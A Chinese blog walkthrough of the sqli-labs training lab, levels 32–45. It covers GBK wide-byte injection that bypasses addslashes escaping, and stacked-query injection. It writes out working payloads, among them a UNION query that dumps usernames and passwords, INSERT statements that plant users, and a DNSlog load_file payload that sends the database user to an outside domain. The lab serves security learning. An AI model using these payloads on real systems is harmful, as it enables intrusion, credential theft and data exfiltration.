sqlilab学习打卡|手工注入|Less32-Less45

less-32 Bypass addslashes

又是一道不会的,直接上源码看下

image-20220403092807829

分别在\ ’ " 前面加上反斜杠,所以绕过就需要解决反斜杠

解决方法一:宽字节注入

先看源码,设置编码方式为gbk

image-20220403093120935

然后来举个例子,理解下宽字节注入原理

假设输入id=1’,那么会被服务器过滤为1\',那么转为gbk编码(十六进制)后为,31 5c 27

我们要想办法保留27,那么只要找一个汉字,其gbk编码后一个字节为5c即可,这里我找到的有

df 5c ab 5c 83 5c

只要去查gbk编码表,能找到很多

这样,在url中输入对应的url编码,输入内容变为1%83',就会转变为gbk编码31 83 5c 27 ,df5c会被识别成一个汉字,因此,拼接进的id就变成了1僜',这样就既去掉了反斜杠保留了单引号
不理解的可以去了解下各种编码ascii unicode utf-8之类,稍微了解下就好懂了
GBK在线编码

GBK编码表

id=-1%83' union select 1,2,(SELECT+GROUP_CONCAT(username,0x2c,password+SEPARATOR+0x3c62723e)+FROM+users)--+

image-20220403092550789

本来还想看看有没有别的方法,找了半天没找着,就先这样了。

less-33

同上一关差不多

less-34

get方法和post方法提交参数的不同点:

get方法将参数直接当作url编码提交

post方法会先将参数都进行url编码后再提交

在hackbar中post提交会进行url编码,因此这关需要使用burp抓包避免这种情况

还是addslashes转义,依然宽字节注入

另外我还看到一种方法是utf16绕过,先🐎为敬

less-35

输入单引号直接报错,显示有转义,根据报错信息猜测是数字型,验证成功

?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 – +

less-36

?id=a%df' || 1=1 -- =测试出宽字节注入,单引号闭合,无报错,有回显

image-20220403112605235

看了下源码,发现这关过滤函数换成了mysql_real_escape_string,依然宽字节绕过

不过这几关能绕过,特殊条件就是要gbk编码,我将编码语句注释掉,再次测试就发现网上说的宽字节和utf-16都没办法绕过了

less-37

有回显,无报错

post方法一定要用burp抓包,要不然一堆问题

这关是mysql_real_escape_string和post方法


以上都是对于加反斜杠转义的绕过,方法差不多都是用宽字节,前提条件需要gbk编码,如果没有gbk编码,我还是不知道怎么绕过。。


less-38 Stacked query

堆叠注入,多条sql语句一起执行达成注入

堆叠注入的限制条件

id=a’ union select 1,2,3;insert into users values(111,‘22’,‘33’)-- =

image-20220403140749952

欸嘿嘿

总算看到有点意思的东西了,less-38 dnslog | getshell MYSQL注入 dnslog secure_file_priv修改设置

这里我用的DNSlog平台

?id=1');select load_file(concat('\\\\',(select hex(user())),'.ulec9h.dnslog.cn\\AAA')) -- =

image-20220403154031257

成果展示

image-20220403154123600

less-39

有报错,有回显,测试发现是数字型注入

id=1;insert into users values(113,‘2’,‘33’); #

跟上关差不多

less-40

?id=1')||('测出单引号括号闭合

?id=1');insert into users values(1111,'1','2') -- =执行成功

本来还想这关是不是和之前一样,我这没有进对入口文件,然后看到还是有人和我一样情况,那我就放心了

image-20220403155646791

less-41

数字型注入,无报错,有回显

?id=1;insert into users values(1013,'2','33'); #

image-20220403160457348

less-42

多页面再次出现,注册用户界面如下

image-20220403161050358

既然要想办法给自己创建个用户,也就是insert进去,就得想想哪里更有可能进行堆叠注入

想了下觉得漏洞更有可能出现在登录界面

测试发现有报错信息

还挺简单直接就可以insert进数据

login_user=1&login_password=2';insert into users value(111111111,'123','123') -- =&mysubmit=Login

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-cYdMahEj-1648978637281)(https://cdn.jsdelivr.net/gh/r2233r/psBed@main/img/202204031614766.png)]

less-43

注意post数据要传给login.php,闭合方式是单引号加括号,有报错回显

和上一关差不多,八多说了

less-44

login_user=1 &login_password=2'|' &mysubmit=Login测出单引号闭合,无报错信息

测试堆叠注入还是能成功

跟之前的差不多

less-45

单引号加括号闭合,无报错

image-20220403172807676

login_user=1 &login_password=2');insert into users value(111111110,'123','123') -- =&mysubmit=Login

还是和之前的差不多,不多说了


哎呀妈呀总算过完上面这些了,说实话,这一部分有点点枯燥,比较简单,但是又还得过一遍

总结

less32-less37都是宽字节注入

less38-less45都是堆叠注入

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值